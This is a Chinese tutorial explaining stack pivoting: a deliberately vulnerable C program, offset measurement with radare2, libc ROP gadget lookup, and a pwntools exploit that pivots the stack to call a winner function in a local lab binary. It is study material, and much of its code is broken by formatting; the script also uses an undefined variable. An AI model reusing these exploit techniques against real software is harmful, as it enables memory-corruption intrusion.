1 what ?
stack pivoiting是一种栈空间转移技术
2 why
有时候缓冲区有长度限制,不利于在栈上配置rop gadget(空间不够)!
3 how
3.1 pop rsp gadget
这种情形比较少见,遇到了相当幸运~
3.2 xchg <reg>, rsp
1
2
3
|
pop <reg> <
=
=
=
return
pointer
<reg value>
xchg <rag>, rsp
|
3.3 leave;ret
leave相当于:
加上ret就等于:
1
2
3
|
mov rsp,rbp
pop rbp
pop rip
|
覆盖rbp,然后栈中的rip覆盖为Addr(leave;ret),当接收数据的函数返回时候,rsp指向target,target新栈中保留了待执行shellcode
4 漏洞程序 vuln
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
/
/
gcc source.c
-
o vuln
-
no
-
pie
void winner(
int
a,
int
b) {
if
(a
=
=
0xdeadbeef
&& b
=
=
0xdeadc0de
) {
puts(
"Great job!"
);
return
;
}
puts(
"Whelp, almost...?"
);
}
void vuln() {
char
buffer
[
0x60
];
printf(
"Try pivoting to: %p\n"
,
buffer
);
fgets(
buffer
,
0x80
, stdin);
}
int
main() {
vuln();
return
0
;
}
|
4.1 vuln脆弱性
- 存在输入性栈溢出,buffer大小0x60
- fgets存在输入大小限制,0x80上界
- 程序编译保护存在,nx
1
2
3
4
5
6
7
|
─$ checksec
-
-
file
=
.
/
vuln
[
*
]
'/home/kali/exploits/spivot/vuln'
Arch: amd64
-
64
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
|
4.2 vuln脆弱性利用目标
rip指向 winner函数,获取winner函数的执行权
4.3 vuln利用步骤
4.3.1 测算rip的偏移
- 生成de bruijn串
1
2
|
└─$ ragg2
-
P
200
-
r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
|
- fuzz vuln
1
2
3
4
5
6
7
8
9
10
11
12
13
|
┌──(kali㉿kali)
-
[~
/
exploits
/
spivot]
└─$ r2
-
d
-
A vuln
[x] Analyze
all
flags starting with sym.
and
entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze
len
bytes of instructions
for
references (aar)
[x] Finding
and
parsing C
+
+
vtables (avrr)
[x] Skipping
type
matching analysis
in
debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[ ] Use
-
AA
or
aaaa to perform additional experimental anal[x] Use
-
AA
or
aaaa to perform additional experimental analysis.
[
0x7f93b6df79c0
]> dc
Try pivoting to:
0x7ffcd3256000
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
[
+
] SIGNAL
11
errno
=
0
addr
=
0x00000000
code
=
128
si_pid
=
0
ret
=
0
|
确定rip偏移
1
2
3
4
|
[
0x004011c5
]> dr rbp
0x4169414168414167
[
0x004011c5
]> wopO `dr rbp`
96
|
所以,rip的偏移是104 = 96 + 8
猜测栈基本布局
- stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |
因为fgets输入长度限制是0x80==128,而且,栈不可执行shellcode,所以,可以覆盖的区域只有 rip,x1,x2 三个变量的地址,且只能用rop gadget方式。
4.3.2 寻找可用gadget
- pop rdi
1
2
|
──(kali㉿kali)
-
[~
/
exploits
/
spivot]
└─$ ROPgadget
-
-
binary vuln | grep
'pop rdi'
|
很不幸,vuln程序中找不到类似pop rdi | pop rsi等指令,只能去libc找一个用用。
1
2
3
|
──(kali㉿kali)
-
[~
/
exploits
/
spivot]
└─$ cat
/
proc
/
sys
/
kernel
/
randomize_va_space
0
|
- ROPgadget寻找libc
```
└─$ ldd vuln
1
2
3
|
linux
-
vdso.so.
1
(
0x00007ffff7fc9000
)
libc.so.
6
=
>
/
lib
/
x86_64
-
linux
-
gnu
/
libc.so.
6
(
0x00007ffff7dce000
)
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
(
0x00007ffff7fcb000
)
|
┌──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16
1
2
3
|
所以,
*
*
POP_RDI
=
0x00007f85682b0000
+
0x027725
*
*
2.
pop rsi
|
┌──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf
1
2
3
|
所以,
*
*
POP_RSI
=
0x00007f85682b0000
+
0x028ed9
*
*
3.
pop rsp
|
┌──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
所以,
*
*
POP_RSP
=
0x00007f85682b0000
+
0x0273aa
*
*
-
*
*
old_stack ::
=
|
+
00
buffer
|
+
96
rbp |
+
104
rip |
+
112
x1 |
+
120
x2 |
+
128
x3 |
*
*
new_stack ::
=
| 新栈布局 |
| :
-
-
-
: |
|
+
00
POP_RDI |
|
+
08
0xdeadbeef
|
|
+
16
POP_RSI |
|
+
24
0xdeadc0de
|
|
+
32
winner_addr |
| ... |
|
+
104
POP_RSP (rip位置) |
|
+
112
Buffer_addr |
|
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
获取buffer_addr
p.recvuntil('to: ')
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')
LIBC = 0x00007ffff7dce000
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9
设置payload
payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)
send payload
p.sendline(payload)
print(p.recvline())
└─$ python exploit.py
[] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[] leak buffer addr: 0x7fffffffe280
[] Paused (press any to continue)
b'Great job!\n'
[] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)
```
更多【一个简单实践理解栈空间转移】相关视频教程:www.yxfzedu.com